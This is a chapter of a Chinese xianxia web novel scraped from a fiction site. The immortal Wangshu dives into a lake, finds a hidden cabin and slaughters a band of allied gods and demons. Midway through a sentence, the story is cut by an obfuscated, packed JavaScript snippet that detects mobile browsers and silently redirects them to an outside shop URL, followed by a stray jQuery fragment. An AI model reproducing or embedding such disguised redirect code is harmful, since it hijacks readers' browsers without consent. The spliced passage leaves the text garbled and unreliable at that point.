文趣网 > 其他小说 > 不奉神 > 10. 寻水(四)
    “其实也没什么,就是我不太喜欢他。”沈洛津放下筷子,用纸巾擦了嘴上的油,然后才对众人说。

    望舒没有说话,只是静静地看着沈洛津,深邃的眼窝中安放着一双干净的眼睛,他只是看着沈洛津,却好像带着潺潺的探究,让人避无可避。

    沈洛津被盯得有些心虚,拿出一张新卫生纸,在嘴巴上擦了又擦,眼神躲闪。

    闻鹤年见此情景,想要活跃气氛,开玩笑说:“不会是你前男友吧?”

    这话一出,气氛更加凝固。

    望舒怔怔地望着沈洛津,眼中好像什么东西在燃烧。

    沈洛津叹了一口气,开始讲述:“不是前男友。”

    江远是沈洛津的高中同学,不是同班。高中时期,沈洛津根本不认识江远,后来两人考入同一个大学的同一个专业,这才有了交集。据说江远高中时期就暗恋沈洛津,大一一进来,就对沈洛津展开追求,沈洛津拒绝了他。这之后,江远大有“得不到就毁掉”的意思,在学校表白墙上大肆诋毁沈洛津。

    不过表白墙这种东西,大多数人就看个乐子,而且江远那点岌岌可危的自尊心很容易被识破,这一行为不仅没有对沈洛津造成什么实质上的困扰,还让江远自己被群嘲了很久。

    “我不是听说他谈女朋友了吗?”沈洛津简要说完江远的事情,虽然对她没有什么影响,但还是被恶心到了,所以沈洛津不是很愿意和江远再有什么交集,“估计就是巧合吧。”

    “他们分手了,”张知研吃得很快,“就上个月吧。”

    四个人都吃完了,关于江远的话题自然没有继续。

    时间过得很快,太阳已经被调研队早上征服的那座断块山遮挡了,霞光从山后射出,橘黄色的晚霞照亮了半边天空,另一边天空星辰已经就位。

    “今天好像什么都没有做。”沈洛津望着夕阳西下,夜幕降临,不禁感慨。

    此话一出,湖边吹来一阵风,吹得人直发抖。

    望舒找了个借口将沈洛津和张知研送回宿舍。

    宿舍楼下,望舒和闻鹤年站在风口,风吹动两人的衣角,时不时几片落叶飘到肩头。望舒两只手插在裤兜里,对闻鹤年说:“你留在这里守着,我去看看怎么回事。”

    闻鹤年法力再弱,不说天地初开,好歹也是天地毛还没长齐就已经是仙人了,自然也察觉到澄湖底下的动静,当然也猜得出是冲着沈洛津来的。

    “老规矩,两个时辰,你没出来我去给你收尸。”尽管凡间计时法已经改了多年,闻鹤年还是习惯用以前的计时单位。

    望舒来到湖边,风不算小,搅得湖面动荡不安,月亮的倒影被切成条,晃来晃去。望舒唤出一个小结界,将自己罩在里头,潜入水下。

    望舒往深处潜,四周越来越黑,防止打草惊蛇,他没有使用照明工具,凭着感觉在黑暗中摸索。忽然,眼前出现一片白光,这在湖底几乎是不可能的。他放慢速度,慢慢靠近,白光是从一丛水草里发出来的。

    他潜到水草边,小心翼翼拨开水草,里面竟然是一个传送阵。

    几乎没有任何犹豫,望舒就进入阵中,几秒之后,他感觉自己落到了地上,睁开眼睛,眼前是一间木屋,屋子四周还有几块菜地,种的什么看不出来,望舒觉得像杂草。望舒施了一道隐身咒,然后进入木屋。

    木屋里生着一堆火,火上煮着一锅汤,热气冲天,汤快要烧干了,但没有人理会,望舒看不出煮的是什么东西,微微焦糊的味道让他有些抗拒。再往里走,有一个书案,书乱七八糟地堆在上面,已经积了一层厚厚的灰。走过书案,是一张木床,床上躺着一个人,头发已经全白,气息微弱,以至于望舒刚进到这里时完全没有察觉到有人。

    他身上被人施了咒,隐去了样貌和灵力痕迹,望舒看不出来他的身份。

    正当望舒想要一探究竟,他忽然感受到了侵略的气息,急忙冲出木屋,有一群人正源源不断涌进来,其中既有妖怪,也有神仙。望舒借着隐身偷袭,东边打一下,西边碰一下。妖怪和神仙明显是临时凑成战友的,加之仙人妖怪之间本就有世仇,经过望舒的几番挑拨,他们各自愤怒,先内讧了。

    “真不知道大人是怎么想的,要我们和这群妖怪一起办事。”不知是哪位仙人先唾骂了一声,迅速引发大量共鸣,“就是就是,妖怪就是妖怪,怎么能和我们平起平坐呢?”

    这些话一出,妖怪们也按捺不住了,被神仙压制多年,也羞辱了多年。然而他们也并非生而卑贱,凭什么就要屈居人下。

    “我们妖怪怎么了?我看你们这些小仙子修为还不如我们呢。”为首的妖怪率先反驳,他脸涨得通红,已经看不出本来的颜色了,这还没完,他接着又说:“你们不就是仗着有几个高手,才敢如此叫嚣的嘛,可你们也不是那高手啊,要是死在这里,还指望他们来帮你们收尸吗?”

    其他妖怪跟着“嘻嘻哈哈”地嘲笑。

    很快,两伙人就扭打作一团,望舒则在旁边悠闲地看戏,时不时再捉弄一下,为他们添把火。不久之后,这群人大多数都受伤了,几个没受伤的头头也打累了,一群人面面相觑,准备就此止战:“‘那位’交代的事情还没办呢,他要是怪罪下来,我们谁也担待不起——先办事。”一只胖滚滚的绿毛龟操着一口如他的龟甲一般沉闷的嗓音提出行动。

    “你说得对,等事情办完了再说别的。”一个神仙附和道。

    两拨人迅速达成一致,准备进入木屋。

    “办什么事情啊,带我一个呗。”望舒没有现身,夹着嗓子在空气里幽幽地说。

    神仙和妖怪的奇妙组合听着空气中四处游走的声音不禁都倒吸一口凉气,举着武器严阵以待。望舒借着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797591|210391||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “敌在明我在暗”的优势轻松卸下了好几个人的武器,奈何对面人多势众,望舒被抓住了破绽。

    就在望舒捏起一个神仙高高举起的剑准备扯下之时,被方才附和妖怪头头的小神仙破了隐身咒,望舒暴露在众人面前,顿时,所有人涌上来就要望舒的命。

    望舒轻叹一口气,对自己的大意表示极度的后悔,然后不情不愿地召唤出自己的剑,当下涌上来的敌人,大有“一夫当关,万夫莫开”的气势,不一会儿,脚边就多了几具尸体。

    众人见这样没有,起势布阵。神仙和妖怪虽然不和,但此时却很默契,一看就是在一起练过一段时间了,阵法有模有样,霎时间将望舒围进阵法中。这阵法妙得很,同时被妖气和仙气驱动,达到某种诡异的平衡,威力是同等单一阵法的两倍。妖气和仙气是相斥的,达到这样的平衡并非易事,若非今天亲眼所见,对阵法一道颇有研究的望舒是决不相信妖气和仙气能共同驱动法阵。

    要不是这阵法是冲着自己来的,望舒真想好好研究研究,发明这阵法的人简直就是天才。

    唯一美中不足的,是驱动阵法的人在月神面前,灵力和修为没一个看得过去,望舒甚至不用解阵,用手里的剑一砍,就强行破开了。驱动阵法的人被阵法的力量反噬,灵力低微的,当场就死了,望舒脚边又多了几具尸体。

    其他人都不同程度地吐了血,望舒嫌弃地往边上稍稍,待他们吐完血了,一剑挥出,没等人看清,脖子已经被抹了。只剩下最先反应过来不该内讧的两个人,木屋前安静多了。

    那两个人被阵法反噬,刚刚吐了血,又目睹死去同伴的惨状,此时瘫软在地上,吓得微微颤抖。

    “你到底是谁?”妖怪怒不可遏,吼着说出这句话,以此掩盖自己的恐惧。

    神仙头都不敢抬,声音几乎在发抖,小声地质问:“观你功法,是我仙家中人,为何屠戮同僚。”

    望舒站在两人正前方,剑指二人咽喉,没等他回答,那妖怪先着了:“你们神界连自己人都管不好还和我们连什么盟啊?”

    这妖怪实在太吵了,一说话就吼,震得望舒耳蜗疼,他给妖怪下了噤声咒,妖怪只能咕隆着身子弄出些奇怪的声响。他瞪着望舒,眼里的怒火快要烧到眉毛了,可望舒一点理他的意思都没有。

    望舒转而将剑指向那位神仙,语气满是不耐烦:“谁跟你是同僚?少往自己脸上贴金——说,谁指使你们来的,来干什么的?”

    神仙没有说话,妖怪还在扭动身子。这两个人受了重伤,没力气站起来,瘫在地上任凭望舒质问。

    噤声的时间到了,妖怪终于喘了一口气,叽里咕噜就开始抱怨:“你们神界自己的人你不知道,跑来问一个妖怪,你觉得合适吗?”

    不合适,所以妖怪刚说完这句话,就咽气,不光如此,头和身体也分家了。